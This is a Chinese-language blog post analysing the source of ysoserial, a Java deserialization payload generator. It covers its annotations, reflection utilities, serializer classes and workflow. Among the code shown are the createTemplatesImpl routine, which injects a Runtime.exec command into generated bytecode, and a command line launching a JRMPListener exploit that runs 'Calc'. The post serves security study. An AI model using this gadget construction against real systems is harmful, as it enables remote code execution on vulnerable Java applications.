ysoserial系列(1)——源码分析

ysoserial 是一个开源的 Java 工具,专门用于生成各种反序列化漏洞的 payload。这些 payload 可以被用来在易受攻击的 Java 应用中触发远程代码执行(RCE)漏洞。通过利用 Java 序列化机制的特性,ysoserial 构造恶意对象图,在目标应用反序列化这些对象时执行任意代码。该工具支持多种 payload 类型,适用于安全测试、漏洞验证。

源码解析

参考:

ysoserial源码详解 - SpringKill_春纱

ysoserial 结构分析与使用-安全客 - 安全资讯平台 (anquanke.com)

exploit包

这个包内的内容主要用于主要是开启交互式服务,对不同的目标进行实际的攻击。例如如下使用方法

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections5 "Calc"

目前包含了多种利用方式JBoss、Jenkins、JMX、JRMP、JSF、RMI等。这里以JRMPListener为样例,分析该模块的编写方法。

t01465d3d2a1a96cb2a

payloads包

该包下是ysoserial工具的核心,里面包含各种反序列化链,同时还有两个软件包:annotationutil

image-20240805152357763

annnotation包

这个包内主要包含了一些注解相关的信息。

Authors注解

这个文件定义了一个注解,其中包含了一些作者信息。

Dependencies注解

这个代码定义了一个自定义的Java注解@Dependencies,以及一个嵌套的静态工具类Utils,用于处理这个注解的信息。让我们分步解析这个代码的意义和用途。

1. 注解定义

1
2
3
4
5
6
7
8
9
10
11
12
>package ysoserial.payloads.annotation;

>import java.lang.annotation.ElementType;
>import java.lang.annotation.Retention;
>import java.lang.annotation.RetentionPolicy;
>import java.lang.annotation.Target;

>@Target(ElementType.TYPE)
>@Retention(RetentionPolicy.RUNTIME)
>public @interface Dependencies {
>String[] value() default {};
>}

注解属性解析:

  • @Target(ElementType.TYPE): 这个注解只能应用于类、接口(包括注解类型)或枚举声明。
  • @Retention(RetentionPolicy.RUNTIME): 这个注解在运行时保留,因此可以通过反射机制读取。
  • String[] value() default {}: 注解的属性定义,这里定义了一个名为value的属性,它是一个字符串数组类型,默认为空数组。

2. 工具类定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}

public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
>}

工具类方法解析:

  • getDependencies方法:

  • annotated: 接受一个AnnotatedElement类型的参数,这是一个可以被注解的元素,例如类、方法、字段等。

  • deps = annotated.getAnnotation(Dependencies.class): 通过反射获取Dependencies注解实例。

  • 如果注解存在且其值不为空,则返回注解的值;否则返回一个空数组。

  • getDependenciesSimple方法:

  • 通过调用getDependencies方法获取Dependencies注解的值。

  • 对每个依赖项进行字符串分割,并返回第二部分(假设依赖项格式为group:artifact)。

示例

假设我们有一个类如下应用了@Dependencies注解:

1
2
3
>@Dependencies({"group:artifact1", "group:artifact2"})
>public class MyClass {
>}

那么我们可以通过以下方式来获取和处理注解的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>import ysoserial.payloads.annotation.Dependencies;

>public class Main {
public static void main(String[] args) {
// 获取MyClass的注解信息
String[] dependencies = Dependencies.Utils.getDependencies(MyClass.class);
for (String dep : dependencies) {
System.out.println(dep); // 输出 "group:artifact1" 和 "group:artifact2"
}

// 获取简化后的依赖信息
String[] simpleDependencies = Dependencies.Utils.getDependenciesSimple(MyClass.class);
for (String dep : simpleDependencies) {
System.out.println(dep); // 输出 "artifact1" 和 "artifact2"
}
}
>}
PayloadTest注解

用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。

这段代码定义了一个名为 PayloadTest 的自定义注解,用于在 Java 程序中标记测试相关的信息。以下是对该注解的详细解析:

注解定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>package ysoserial.payloads.annotation;

>import java.lang.annotation.Retention;
>import java.lang.annotation.RetentionPolicy;

>/**
>* @author mbechler
>*
>*/
>@Retention(RetentionPolicy.RUNTIME)
>public @interface PayloadTest {
String skip() default "";

String precondition() default "";

String harness() default "";

String flaky() default "";
>}

注解属性解析

  1. @Retention(RetentionPolicy.RUNTIME):
  • 这个注解的保留策略是 RUNTIME,意味着该注解在运行时可以通过反射机制读取。
  1. String skip() default "":
  • 定义了一个名为 skip 的属性,类型为 String,默认值为空字符串。这个属性可能用于标记某个测试是否应该被跳过。
  1. String precondition() default "":
  • 定义了一个名为 precondition 的属性,类型为 String,默认值为空字符串。这个属性可能用于指定测试执行前的先决条件。
  1. String harness() default "":
  • 定义了一个名为 harness 的属性,类型为 String,默认值为空字符串。这个属性可能用于指定测试执行的环境或框架。
  1. String flaky() default "":
  • 定义了一个名为 flaky 的属性,类型为 String,默认值为空字符串。这个属性可能用于标记某个测试是否是不稳定的(即可能会随机失败)。

使用示例

假设我们有一个测试类 MyTest,我们可以使用 @PayloadTest 注解来标记测试的相关信息:

1
2
3
4
5
6
7
8
9
10
11
>import ysoserial.payloads.annotation.PayloadTest;

>@PayloadTest(
skip = "This test is currently broken and needs to be fixed.",
precondition = "Ensure the database is running before executing this test.",
harness = "JUnit",
flaky = "This test sometimes fails due to network issues."
>)
>public class MyTest {
// Test methods go here
>}

Utils包

Utils中主要利用反射生成对应类

ClassFiles类

这段代码定义了一个名为 ClassFiles 的工具类,其中包含了一些用于处理 Java 类文件的静态方法。下面是对这些方法的详细解析:

1. classAsFile方法

这个方法将一个 Class 对象转换为对应的类文件路径字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}

public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}

方法解析

  • classAsFile(Class<?> clazz): 这是一个重载方法,调用了 classAsFile(Class<?> clazz, boolean suffix) 并将 suffix 参数设为 true
  • classAsFile(Class<?> clazz, boolean suffix):
    • clazz.getEnclosingClass() == null: 判断当前类是否是一个内部类。如果不是内部类,则将类名中的.替换为/,形成类文件的路径格式。
    • 如果是内部类,则递归调用 classAsFile 方法获取外部类的路径,并在其后加上$和当前内部类的简单名称。
    • suffix 参数决定是否在字符串的末尾加上.class后缀。

示例

假设有一个类 com.example.MyClass 和一个内部类 com.example.MyClass$InnerClass

1
2
3
4
5
System.out.println(ClassFiles.classAsFile(MyClass.class));
// 输出: com/example/MyClass.class

System.out.println(ClassFiles.classAsFile(MyClass.InnerClass.class));
// 输出: com/example/MyClass$InnerClass.class
2. classAsBytes 方法

这个方法将一个 Class 对象转换为对应的类文件的字节数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

方法解析

  • classAsBytes(Class<?> clazz):
    • 调用 classAsFile(clazz) 获取类文件的路径。
    • 使用 ClassLoadergetResourceAsStream(file) 方法获取类文件的输入流。
    • 如果找不到类文件,抛出 IOException
    • 使用一个 ByteArrayOutputStream 将输入流的数据读入一个字节数组,并返回这个字节数组。

示例

假设有一个类 com.example.MyClass,我们可以获取它的字节码:

1
2
byte[] classData = ClassFiles.classAsBytes(MyClass.class);
System.out.println(Arrays.toString(classData));
总结

ClassFiles 工具类提供了两种主要功能:

  1. Class 对象转换为类文件的路径字符串。
  2. Class 对象转换为类文件的字节数组。

这些方法在需要处理类文件的场景下非常有用,比如动态类加载、类文件分析等。

Gadgets类

这段代码是 ysoserial 工具中的一个实用类 Gadgets,它包含了一系列用于生成反序列化 payload 的辅助方法。以下是对各个部分的详细解析:

静态初始化块
1
2
3
4
5
6
7
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");

// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}

在静态初始化块中,设置了两个系统属性:

  1. DESERIALIZE_TRANSLET 设置为 "true",用于在启用 SecurityManager 的情况下使用 TemplatesImpl gadgets。
  2. java.rmi.server.useCodebaseOnly 设置为 "false",用于 RMI 远程加载。
常量和内部类
1
2
3
4
5
6
7
8
9
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static class StubTransletPayload extends AbstractTranslet implements Serializable {
// ...
}

public static class Foo implements Serializable {
// ...
}
  • ANN_INV_HANDLER_CLASS 是一个常量,表示 AnnotationInvocationHandler 类的全限定名。
  • StubTransletPayload 是一个实现了 AbstractTransletSerializable 接口的内部类,用于生成 TemplatesImpl 的 payload。
  • Foo 是一个简单的可序列化类,用于辅助生成 payload。
辅助方法

createMemoitizedProxy

1
2
3
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

这个方法用于创建一个代理对象,该代理对象使用 AnnotationInvocationHandler 作为调用处理器。

createMemoizedInvocationHandler

1
2
3
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

这个方法用于创建一个 AnnotationInvocationHandler 实例,并将其与一个 Map 对象关联。

createProxy

1
2
3
4
5
6
7
8
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

这段代码通过指定的 InvocationHandler 和接口,使用 Java 反射生成一个动态代理对象。它首先创建一个包含所有接口类型的数组,然后调用 Proxy.newProxyInstance 创建代理实例,并将其强制转换为第一个接口类型。该方法允许代理对象同时实现多个接口。

createMap

1
2
3
4
5
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}

使用给定的keyvalue创建一个HashMap,因为ysoserial在使用过程中需要频繁地创建HashMap所以将这个操作封装。

createTemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Object createTemplatesImpl(final String command) throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}


这个方法通过检查系统属性 properXalan 来决定使用哪个 TemplatesImpl 类。如果 properXalan 设置为 true,则动态加载 org.apache.xalan 包下的类;否则,使用默认的 TemplatesImplAbstractTransletTransformerFactoryImpl 类。

然后调用重载的createTemolatesImpl来真正创建恶意 TemplatesImpl 对象。

createTemplatesImpl(重载)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

这段代码通过 javassist 库动态生成一个包含恶意代码的类,并将其字节码注入到一个新的 TemplatesImpl 实例中。恶意代码在类加载时执行指定的系统命令。该方法利用反射设置必要的字段,使 TemplatesImpl 在反序列化时触发命令执行。

makeMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}

这段代码通过反射机制创建并初始化一个 HashMap,其中包含两个键值对。它首先设置 HashMap 的大小,然后根据JDK版本的不同动态获取 HashMap$NodeHashMap$Entry 类的构造器,并利用该构造器创建两个节点对象。接着,将这两个节点对象放入一个新创建的数组中,并将该数组设置为 HashMap 的内部表结构。最终返回这个定制的 HashMap 实例。

JavaVersion类

检测Java版本

PayloadRunner类

测试payload,执行一次序列化和反序列化的过程,看能否达到预期的目的。

Reflections类

这个类是将yso中经常使用的反射操作做一个封装来方便使用。

  1. setAccessible(AccessibleObject member)
    • 作用:根据当前 JDK 版本设置反射对象的可访问性。对 JDK 版本 12 之前,使用 Permit 工具类来静默设置;对 JDK 12 及之后,直接调用 setAccessible(true),但可能会有警告。
    • 参数:AccessibleObject 是 Java 反射 API 中的父类,包含 FieldMethodConstructor
  2. getField(Class<?> clazz, String fieldName)
    • 作用:递归获取类及其父类中的指定字段,并设置其可访问性。
    • 参数:clazz 要操作的类,fieldName 要获取的字段名称。
    • 返回值:返回找到的字段。
  3. setFieldValue(Object obj, String fieldName, Object value)
    • 作用:设置给定对象 obj 中指定字段 fieldName 的值为 value
    • 参数:obj 要操作的对象,fieldName 字段名称,value 要设置的值。
  4. getFieldValue(Object obj, String fieldName)
    • 作用:获取给定对象 obj 中指定字段 fieldName 的值。
    • 参数:obj 要操作的对象,fieldName 字段名称。
    • 返回值:返回字段的当前值。
  5. getFirstCtor(String name)
    • 作用:获取指定类名的第一个构造函数,并设置其可访问性。
    • 参数:name 类名(包括包名)。
    • 返回值:返回第一个构造函数。
  6. newInstance(String className, Object ... args)
    • 作用:通过指定类名和构造函数参数创建类的新实例。
    • 参数:className 类名(包括包名),args 构造函数参数。
    • 返回值:返回创建的新实例。
  7. createWithoutConstructor(Class<T> classToInstantiate)
    • 作用:不调用构造函数实例化指定类(通过序列化机制)。
    • 参数:classToInstantiate 要实例化的类。
    • 返回值:返回新实例。
  8. createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)
    • 作用:通过构造函数参数创建类的新实例(通过序列化机制)。
    • 参数:classToInstantiate 要实例化的类,constructorClass 构造函数所在的类,consArgTypes 构造函数参数类型数组,consArgs 构造函数参数值数组。
    • 返回值:返回新实例。

ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons) 用途是利用 Java 的反射机制通过序列化的方式为特定类创建一个构造函数,以便实例化对象,而无需调用该类的常规构造函数。具体解释如下:

ReflectionFactory

ReflectionFactory 是 Java 内部类,通常用于提供更底层的反射操作。

newConstructorForSerialization

newConstructorForSerialization 方法用于创建一个特殊的构造函数,该构造函数可以用来实例化一个对象而不调用其常规构造函数。这个方法通常用于反序列化过程中,但在这里被用于绕过正常的构造函数调用。

代码解释

1
>Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
  • **ReflectionFactory.getReflectionFactory()**:获取 ReflectionFactory 的单例实例。
  • **newConstructorForSerialization(classToInstantiate, objCons)**:
  • classToInstantiate:要实例化的类,即目标类。
  • objCons:一个构造函数对象,用于指定访问权限。例如,可以使用某个父类的无参构造函数来作为创建目标类实例的基础。
  • 这个方法会返回一个 Constructor 对象,该对象是为序列化而创建的特殊构造函数。

工作原理

  • newConstructorForSerialization 创建的构造函数具有以下特点:
  • 它是一个特殊的构造函数,不会调用目标类的常规构造函数。
  • 它可以实现实例化类对象的目的,即使常规构造函数是私有的或受保护的。
  • 通常用于反序列化过程,但在这个上下文中被用于绕过访问限制。

例子

假设有一个类 MyClass,其构造函数是私有的或受保护的,通常情况下无法直接实例化:

1
2
3
4
5
>public class MyClass {
private MyClass() {
// 私有构造函数
}
>}

你可以使用 ReflectionFactory 来实例化这个类:

1
2
3
4
5
6
>Class<MyClass> clazz = MyClass.class;
>Constructor<Object> constructor = Object.class.getDeclaredConstructor();
>constructor.setAccessible(true);
>Constructor<?> serializationConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
>serializationConstructor.setAccessible(true);
>MyClass instance = (MyClass) serializationConstructor.newInstance();

在这个例子中,我们通过 ReflectionFactory 创建了一个特殊的构造函数 serializationConstructor,它允许我们实例化 MyClass 的对象,而不调用其私有的常规构造函数。

ObjectPayload接口

这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个Utils的内部类,可以详细说说这个内部类中的各种方法。

Utils 静态工具类
  • getPayloadClasses 方法:使用 Reflections 库扫描当前包及其子包,获取所有实现 ObjectPayload 接口的类,并过滤掉接口和抽象类。
  • getPayloadClass 方法:根据类名获取 ObjectPayload 的实现类。首先尝试直接加载类名,如果失败则尝试在 payloads 包下加载。
  • makePayloadObject 方法:根据 payloadTypepayloadArg 创建并返回一个 payload 对象。
  • releasePayload 方法:释放 payload 对象。如果 ObjectPayload 实现了 ReleaseableObjectPayload 接口,则调用其 release 方法。

ReleaseableObjectPayload接口

这个接口是用来和releasePayload方法配合使用,用来清理释放指定Payload的。

secmgr包

这个包里面包含了两个SecurityManager的子类,用来更改安全检查的一些逻辑。

DelegateSecurityManager类

继承了 Java 的 SecurityManager 类,并提供了一个委托机制,允许将安全管理任务委托给另一个 SecurityManager 实例。这个类的主要目的是在运行时动态地替换或增强现有的安全管理策略。它通过重写 SecurityManager 的许多方法,将这些方法的调用转发给内部持有的 SecurityManager 实例来实现这一点。此外,为了兼容 JDK 10 及以上版本,对一些已废弃的方法进行了处理,确保在调用这些方法时不会引发异常或错误。

ExecCheckingSecurityManager类

这个类同样继承自SecurityManage类,用来检查是否执行命令,并决定是否抛出异常。

Deserializer类

它负责将序列化的字节数组或输入流反序列化为 Java 对象。Deserializer 类实现了 Callable<Object> 接口,这意味着它可以在多线程环境中使用。可以提供一个字节数组给 Deserializer 实例,它会把这个字节数组转换成一个 Java 对象。主方法还允许从指定的文件或标准输入中读取序列化数据,并将其反序列化为对象。这段代码的核心功能是通过 ObjectInputStream 读取序列化的字节流并恢复成原始的 Java 对象。

Serializer类

这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的Deserializer类很相似。

GeneratePayload类

主要用于生成和序列化恶意的Java对象。该类通过命令行接收两个参数:一个payload类型和一个命令。它首先检查参数数量,如果不正确则打印使用说明并退出。然后,它根据提供的payload类型查找对应的 ObjectPayload 类,并尝试实例化该类以生成恶意对象。生成的对象随后被序列化并通过标准输出打印。如果过程中发生任何错误,程序会捕获异常并打印错误信息,然后退出并返回特定的错误代码。此外,printUsage 方法用于打印帮助信息,列出所有可用的payload类型及其作者和依赖项。

Strings类

这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。

工作流程

springkill师傅的一张图

image-20231112221509445

由控制台进行输入,获取gadget和需要执行的命令传入到入口GeneratePayload中,然后由GeneratePayload调用具体的ObjectPayload接口的实现来获取实例,在这个过程中ObjectPayload又去调用了GadgetsReflections等进行初始化然后将对象返回给GeneratePayload,最后GeneratePayload调用Serializer的序列化方法将其序列化后返回并打印到控制台。